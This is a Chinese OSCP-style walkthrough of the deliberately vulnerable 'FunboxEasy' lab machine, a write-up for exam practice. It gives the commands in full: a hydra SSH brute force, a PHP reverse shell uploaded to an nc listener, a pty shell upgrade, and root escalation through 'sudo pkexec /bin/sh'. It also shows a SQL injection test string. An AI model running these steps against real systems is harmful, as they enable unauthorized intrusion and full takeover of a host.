OSCP靶场系列-Esay-FunboxEasy保姆级

OSCP靶场系列-Esay-FunboxEasy

目录

  • OSCP靶场系列-Esay-FunboxEasy
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用(无)
        • 22-SSH协议支持的登录方式
        • 22-SSH弱口令爆破(挂着)
        • 22-SSH手动登录尝试(失败)
      • 80-HTTP端口的信息收集
        • 信息收集-源码查看(无)
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
        • 信息收集-目录访问
          • `/robots.txt`端点
          • `/admin`端点与`/admin/?/login`端点
          • `/index.php`与`/index.php/login/` 端点
          • 其余端点
          • `/gym`端点
      • 各个端点的指纹收集
        • 目录扫描-2次递归
        • 信息收集-端点访问
          • `/store/.gitattributes`端点
          • `/store/functions/`端点
          • `/store/controllers/`端点同理
          • `/store/database/`端点
          • `/store/template/`端点
          • `/store/index.php`与`/store/admin.php`端点
      • 端点的指纹收集
    • 漏洞利用-getwebshell
      • 弱口令进入后台
      • 文件上传getwebshell尝试1(失败)
      • 文件上传getwebshell尝试2(失败)
      • 文件上传getwebshell尝试3
          • 反弹shell-php
          • 上传shell
          • 发现上传点
    • 内网遨游-getshell
      • 交互shell
      • FLAG1获取
      • 提权基础(内网信息收集)
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • sudo收集(需要密码)
        • suid权限收集
        • /etc/passwd权限收集
        • getcap标志进程收集
        • /home用户下信息收集
        • ssh登录
        • sudo收集
      • 权限提升
        • Linux提权-sudo提权
      • FLAG2获取
    • 后记(忽略的点)

总结

getwebshell → 异常艰难的目录扫描 → 敏感信息泄露账户密码 → 文件上传登录

提 权 思 路 → 用户密码文件泄露 → ssh登录 → sudo提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.207

OSCP靶场系列-Esay-FunboxEasy保姆级_第1张图片

  • 启动靶机
    获取目标机器IP > 192.168.230.111

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.230.111

OSCP靶场系列-Esay-FunboxEasy保姆级_第2张图片
通过两次收集到的端口:→22,80,33060

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,33060 192.168.230.111

OSCP靶场系列-Esay-FunboxEasy保姆级_第3张图片

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(无)

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1 Ubuntu 4ubuntu0.1

# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 8.2p1

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

ssh [email protected] -v
# 如果显示publickey、password就是都支持

支持密钥以及密码登录

OSCP靶场系列-Esay-FunboxEasy保姆级_第4张图片

22-SSH弱口令爆破(挂着)

既然支持密码登录尝试root账户的密码爆破,利用工具hydra,线程-t为6

hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.230.111 ssh -s 22

期待奇迹发生,先挂着爆破弱口令

OSCP靶场系列-Esay-FunboxEasy保姆级_第5张图片

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

ssh [email protected] -p 22
# 密码尝试
password > root

80-HTTP端口的信息收集

访问 http://192.168.230.111:80 发现是建站页直接从源码查看开始

OSCP靶场系列-Esay-FunboxEasy保姆级_第6张图片

信息收集-源码查看(无)
# 包括文章中是否写明一些敏感信息
curl http://192.168.230.111:80

OSCP靶场系列-Esay-FunboxEasy保姆级_第7张图片

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.230.111:80 -x 302,403

被吓到了,太多端点了

OSCP靶场系列-Esay-FunboxEasy保姆级_第8张图片
因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/robots.txt端点

优先访问robots.txt端点

curl http://192.168.230.111/robots.txt

得到gym


##### /secret端点
从目录名字上来说,比较有诱惑力

┌──(root㉿Kali)-[/home/bachang/FunboxEasy]
└─# curl http://192.168.230.111/secret/   
„Anyone who lives within their means suffers from a lack of imagination.“
Oscar Wilde (*1854 - †1900)

给了一段摸不着头脑的内容(后面没思路在思考)

/admin端点与/admin/?/login端点

访问 http://192.168.230.111/admin/ 发现了登录端点
http://192.168.230.111/admin/?/login端点同理

OSCP靶场系列-Esay-FunboxEasy保姆级_第9张图片

/index.php/index.php/login/ 端点

访问 http://192.168.230.111/index.php/login/ 同样是一个登录端点

OSCP靶场系列-Esay-FunboxEasy保姆级_第10张图片

其余端点

从经验上来说 ,下面几个端点先放一边

  • /logout.php 是退出的php
  • /index.html 是首页
  • /checklogin.php 检查登录
  • /header.php 可能和检查有关
  • /admin/index.php 可能是调用login的内容
/gym端点

从泄露中访问对应端点 http://192.168.230.111/gym/

OSCP靶场系列-Esay-FunboxEasy保姆级_第11张图片

各个端点的指纹收集

whatweb http://192.168.230.111/admin
whatweb http://192.168.230.111/gym/
whatweb http://192.168.230.111/index.php/login/

根据现有信息得出CMSCRM有关

OSCP靶场系列-Esay-FunboxEasy保姆级_第12张图片
尝试搜索CRM的漏洞发现还无法精确指纹

OSCP靶场系列-Esay-FunboxEasy保姆级_第13张图片

目录扫描-2次递归

在似乎陷入困境之后思考到了之前目录扫描301的内容,接着扫描/store端点

dirsearch -u http://192.168.230.111:80/store -x 302,403

又是劝退系列,特别多,慢慢访问

OSCP靶场系列-Esay-FunboxEasy保姆级_第14张图片

信息收集-端点访问
/store/.gitattributes端点

该端点似乎存在了提示

┌──(root㉿Kali)-[/home/bachang/FunboxEasy]
└─# curl http://192.168.230.111/store/.gitattributes
# Auto detect text files and perform LF normalization
* text=auto
/store/functions/端点

似乎存在路径遍历,访问之后没有显示内容,先待定

OSCP靶场系列-Esay-FunboxEasy保姆级_第15张图片

/store/controllers/端点同理

OSCP靶场系列-Esay-FunboxEasy保姆级_第16张图片

/store/database/端点

在该端点下发现了有趣的内容

OSCP靶场系列-Esay-FunboxEasy保姆级_第17张图片
readme.txt.txt文件提示了账号密码信息,数据库信息以及邮箱

OSCP靶场系列-Esay-FunboxEasy保姆级_第18张图片
.sql文件下发现一些敏感内容

-- Database: `www_project`        
('admin', 'd033e22ae348aeb5660fc2140aec35850c4da997');

OSCP靶场系列-Esay-FunboxEasy保姆级_第19张图片

/store/template/端点

OSCP靶场系列-Esay-FunboxEasy保姆级_第20张图片

/store/index.php/store/admin.php端点

在访问的index.php端点下存在登录窗口

OSCP靶场系列-Esay-FunboxEasy保姆级_第21张图片
admin.php

OSCP靶场系列-Esay-FunboxEasy保姆级_第22张图片
其余端点先省略(后期思考,主要端点太多了)

端点的指纹收集

主要收集admin.php

whatweb http://192.168.230.111/store/admin.php

漏洞利用-getwebshell

思考了一下 /store/database/端点的泄露很有意思

弱口令进入后台

访问 http://192.168.230.111/store/admin.php 使用 admin:admin成功进入后台

OSCP靶场系列-Esay-FunboxEasy保姆级_第23张图片

文件上传getwebshell尝试1(失败)

尝试修改文件的时候发现上传点

OSCP靶场系列-Esay-FunboxEasy保姆级_第24张图片
尝试文件上传发现存在sql错误

文件上传getwebshell尝试2(失败)

发现添加的按钮尝试添加

OSCP靶场系列-Esay-FunboxEasy保姆级_第25张图片
上传之后点击提交

OSCP靶场系列-Esay-FunboxEasy保姆级_第26张图片
提示错误,publisherid这一行

OSCP靶场系列-Esay-FunboxEasy保姆级_第27张图片

文件上传getwebshell尝试3

检查了与publisher相关的行

OSCP靶场系列-Esay-FunboxEasy保姆级_第28张图片
收集了对应信息

O'Reilly Media
Apress
Wrox
Wiley
Addison-Wesley

发现使用对应的内容上传即可成功

OSCP靶场系列-Esay-FunboxEasy保姆级_第29张图片

反弹shell-php
# 利用cp命令cp一个到当前文件夹
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

# 开启监听
sudo nc -lnvp 4444

# 修改一下shell的反代地址
vim shell.php

OSCP靶场系列-Esay-FunboxEasy保姆级_第30张图片

上传shell

OSCP靶场系列-Esay-FunboxEasy保姆级_第31张图片

发现上传点

发现上传的图片在首页可以查看到大致位置

OSCP靶场系列-Esay-FunboxEasy保姆级_第32张图片

http://192.168.230.111/store/bootstrap/img/c_sharp_6.jpg

推理我们上传的在

http://192.168.230.111/store/bootstrap/img/shell.php

成功获得shell感觉异常艰难

OSCP靶场系列-Esay-FunboxEasy保姆级_第33张图片

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

python -c "import pty;pty.spawn('/bin/bash')";
# 利用python获取交互shell -> python失败使用python3
python3 -c "import pty;pty.spawn('/bin/bash')";

OSCP靶场系列-Esay-FunboxEasy保姆级_第34张图片

FLAG1获取

www-data<span>@funbox3</span>:/$ find / -name local.txt 2&gt;/dev/null
find / -name local.txt 2&gt;/dev/null
/var/www/local.txt
www-data<span>@funbox3</span>:/$ cat /var/www/local.txt
cat /var/www/local.txt
********************

提权基础(内网信息收集)

提权的本质在于枚举

检测Linux操作系统的发行版本
# 确定发行版本
lsb_release -a

Ubuntu 20.01发行版不太能overlayfs提权

检测Linux操作系统的内核版本
cat /proc/version
uname -a

内核版本 5.4.0

sudo收集(需要密码)

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
sudo -l

suid权限收集

搜索suid文件权限

# -perm 文件权限
find / -perm -u=s -type f 2&gt;/dev/null

OSCP靶场系列-Esay-FunboxEasy保姆级_第35张图片

/etc/passwd权限收集
ls -al /etc/passwd
-rw-r--r-- 1 root root 1807 Jul 30  2020 /etc/passwd

getcap标志进程收集
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2&gt;/dev/null

/home用户下信息收集

发现/home目录下只有tony

ls -al /home/tony

OSCP靶场系列-Esay-FunboxEasy保姆级_第36张图片
发现了password.txt查看发现敏感信息

www-data@funbox3:/home/tony$ cat password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: [email protected] admin
ssh登录

通过敏感信息推测tony账户的密码是yxcvbnmYYY
获取账号密码之后利用SSH进行登录

sudo ssh [email protected] -p22
password > yxcvbnmYYY

OSCP靶场系列-Esay-FunboxEasy保姆级_第37张图片

sudo收集

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
sudo -l

发现了许多可以提权的文件,进行提权

权限提升

Linux提权-sudo提权

查找具有sudo权限,且不需要密码的可提权文件

    (root) NOPASSWD: /usr/bin/yelp
    (root) NOPASSWD: /usr/bin/dmf
    (root) NOPASSWD: /usr/bin/whois
    (root) NOPASSWD: /usr/bin/rlogin
    (root) NOPASSWD: /usr/bin/pkexec
    (root) NOPASSWD: /usr/bin/mtr
    (root) NOPASSWD: /usr/bin/finger
    (root) NOPASSWD: /usr/bin/time
    (root) NOPASSWD: /usr/bin/cancel
    (root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh

如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找
发现pkexec提权

OSCP靶场系列-Esay-FunboxEasy保姆级_第38张图片
OSCP靶场系列-Esay-FunboxEasy保姆级_第39张图片

sudo pkexec /bin/sh


提权成功~

FLAG2获取

# cat /root/proof.txt
**********************

完结撒花~

后记(忽略的点)

该登录端点 CSE Bookstore 存在SQL注入

OSCP靶场系列-Esay-FunboxEasy保姆级_第40张图片

  • ' or 1=1; --测试注入之后可以用sqlmap获取数据库信息

你可能感兴趣的:(OSCP,web安全,网络安全,安全,网络)